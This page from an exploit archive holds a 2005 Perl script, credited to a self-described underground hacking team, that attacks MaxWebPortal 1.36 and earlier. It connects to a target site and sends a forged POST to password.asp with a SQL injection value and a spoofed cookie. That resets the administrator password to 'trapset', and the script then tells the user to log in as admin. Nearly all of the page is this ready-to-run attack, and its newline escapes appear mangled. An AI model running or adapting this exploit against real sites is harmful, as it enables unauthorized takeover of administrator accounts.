[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Maxwebportal <= 1.36 password.asp Change Password Exploit (3 - perl)
# Published : 2005-05-26
# Author : Alpha_Programmer
# Previous Title : Hosting Controller <= 0.6.1 Unauthenticated User Registeration (3rd)
# Next Title : Maxwebportal <= 1.36 password.asp Change Password Exploit (2 - php)


#!/usr/bin/perl
#################################################################
#    T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#################################################################
# EXPLOIT FOR - MAX Portal (All Versions)
#
#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v );
#E-Mail : Alpha_Programmer@Yahoo.com
#
#This Xpl Change Admin's Pass in This Portal !!
#
#Discovered by: s d <irsdl@yahoo.com>
#
#################################################################
#  Gr33tz To ==>   mh_p0rtal , Oil_karchack , Str0ke   &  AlphaST.Com
#
#And Iranian Hacking & Security Teams :
# IHS , Shabgard , Emperor ,Crouz & Simorgh-ev
#################################################################
use IO::Socket;

if (@ARGV < 2)
{
 print "n==========================================n";
 print " n     -- Exploit By Alpha Programmer --nn";
 print "     Trap-Set Underground Hacking Team      nn";
 print "      Usage: Max.pl <T4rg3t> <V3rsion>nn";
 print " V3rsion :n";
 print " 1 ==>   Version 1.35 and 0ldern";
 print " 2 ==>   Version 1.36, 2.0 and Nextn";
 print "==========================================nn";
 print "Example:nn";
 print "    Max.pl www.Site.com 1n";
 exit();
}
$hell = "foo' or M_Name='admin";
if ($ARGV[1] =~"2" ){$hell = "foo%27%29+or+M_Name%3D%27admin%27+or+%28%271%27%3D%272"};


my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3ctedn";

$http = "POST /password.asp?mode=reset HTTP/1.0";
$http .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*n";
$http .= "Accept-Language: fan";
$http .= "Content-Type: application/x-www-form-urlencodedn";
$http .= "Pragma: no-cachen";
$http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)n";
$http .= "Host: $hostn";
$http .= "Content-Length: 111n";
$http .= "Proxy-Connection: Keep-Aliven";
$http .= "Cookie: SSOComhide=Name=admin; SSOComUser=Cookies=&Pword=d7fae5da3d785535c12b70865519ba86&Name=adminnn";

$http .= "pass=trapset&pass2=trapset&memId=-1&memKey=$hell&Submit=Submitnnnn";

print "n";
print $remote $http;
sleep(1);
print "[+] Attacking ...n";
print "[+] Changing Admin's Password ...n";
while (<$remote>)
{
}
print "nNow Go to $host and Login With :nn";
print "User: adminn";
print "Pass: trapsetnn";
print "Enjoy ;)n";
print "n";
### EOF ###

# www.Syue.com [2005-05-26]